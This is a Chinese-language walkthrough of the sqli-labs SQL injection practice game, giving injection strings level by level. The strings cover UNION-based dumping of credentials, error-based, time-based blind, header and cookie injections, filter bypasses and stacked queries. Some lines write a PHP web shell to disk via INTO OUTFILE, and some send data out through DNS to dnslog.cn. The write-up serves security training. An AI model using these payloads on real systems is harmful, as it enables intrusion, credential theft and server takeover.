sqli-labs是训练SQL注入的一款闯关游戏,分四页,共75关,不过我还没通关。
☝☝☝☝☝☝☝有疑问欢迎写信哦
如果你的电脑无法像下面这样正常显示可以参照文章https://admin-root.blog.csdn.net/article/details/103597999
order by 4 -- -
判断有多少列
union select 1,2,3 -- -
判断数据显示点
union select 1,user(),database() -- -
显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
查看账号密码信息
注入语句:
id=1' and 1=1 -- -
id=1' order by 4 -- -
id=0' union select 1,2,3 -- -
注入语句:
id=1 and 1=1 -- -
方法同上。
注入语句:
id=1') and 1=1 -- -
方法同上。
注入语句:
id=1") and 1=1 -- -
方法同上。
注入语句:
id=1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -
注入语句:
id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -
注入语句:
1')) union select 1,'<?php eval($_REQUEST[23]); ?>',3 into outfile 'D://1.php' -- -
注入语句:
id=1' and load_file(concat("\\\\",(database()),".2bmfvu.dnslog.cn\\1.txt")) -- -
DNSLog.cn
网站会看到回显结果为security
效果如图:注入语句:
id=1' and if(length(database())>3 ,sleep(5),1) -- -
因为你不知道数据库名是几个字母,所以先让数字大于3进行判断,然后依次增加。效果如图:
如果sleep函数不起作用了,说明数据库名可能等于这个数。这时你就能判断它的数据库名啦。效果如图:
注入语句:
id=1" and if(length(database())>7 ,sleep(5),1) -- -
方法与第九关相同,将’改成"即可。
注入语句:
admin' and 1=1 -- -
这里不用密码也能登陆成功,所以判断是POST形式的单引号字符型注入
注入语句:
admin") and 1=1 -- -
方法同上。
注入语句:
admin') union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -
注入语句:
admin" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -
方法同上。
注入语句:
admin' and load_file(concat("\\\\",(database()),".qyfyji.dnslog.cn\\1.txt")) -- -
注入语句:
admin") and 1=1 -- -
方法同上。
注入语句:
' and (updatexml(1,concat(0x7e, database(),0x7e),1))#
User-Agent:
报头文报错注入注入语句:
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
Burp Suite
抓取输入正确用户密码的登录页面User-Agent:
后加入注入语句即可,效果如图:Referer:
报头文报错注入注入语句:
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
方法同上,只需把报头文改成Referer:
即可。
Cookie:
报头文报错注入注入语句:
uname=' union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;
一、首先正常登陆进入以下页面
二、使用Burp Suite抓包当前页面。
三、转入Repeater模块将选中部分Ctrl+B进行Base64编码
注入语句:
') union select 1,2,3#
编码后:JykgdW5pb24gc2VsZWN0IDEsMiwzIyA=
注入语句:
uname=" union select 1,2,3# ;
注入语句:
id=-1' union select 1,2,3 ='1
假设知道有admin用户但是不知道密码
首先点击New User click here? 注册admin’ – -用户
然后登录该用户修改密码
然后再使用admin输入刚才admin’ – -修改的密码
登录成功,此时两个账号的密码一样
注入语句:
id=-1' union select 1,2,3--
注入语句:
id=-1 union select 1,2,3--
注入语句:
id=-1'aandnd(updatexml(1,'~aaaa',1))anandd'1'='1
这里不会报错,只是多加了一个括号。
注入语句:
id=1'and(updatexml(1,'~aaaa',1))and'1'='1
单引号换成双引号,方法同上。
注入语句:
网址栏url转码后
id=111%27)%0AUnIon%0AAll%0ASelect%0A(%271%27),2,(%273
url
转码前
id=111') UnIon All Select ('1'),2,('3
注入语句:
网址栏url后
http://localhost/sqli-labs-master/Less-28a/?id=-1%27)%0AUnIon%0AAll%0ASelect%0A1,2,3%0A--%20-
url转码前
id=-1') UnIon All Select 1,2,3 -- -
注入语句:
id=-1' union select 1,2,3 -- -
注入语句:
id=1&id=-1' union select 1,2,3 -- -
注入语句:
id=-1" union select 1,2,3 -- -
注入语句:
id=1&id=-1" union select 1,2,3 -- -
注入语句:
id=-1") union select 1,2,3 -- -
注入语句:
id=1&id=-1") union select 1,2,3 -- -
注入语句:
id=-1%df' union select 1,2,3 -- -
在网址栏输入注入语句:
id=-1%df%27%20union%20select%201,2,3%20--%20-
注入语句:
Dumb�' union select 1,2,3 --
注入语句:
id=-1 union select 1,2,3
注入语句:
id=-1�' union select 1,2,3 -- -
注入语句:
id=-1�' union select 1,2,3 -- -
id=-1�' union select 1,2,3 -- -
注入语句:
id=1;CREATE DATABASE sq default charset utf8; -- -
查询id为1的用户名密码,同时创建名为sq的数据库。
数据库创建成功,说明两条语句都执行了。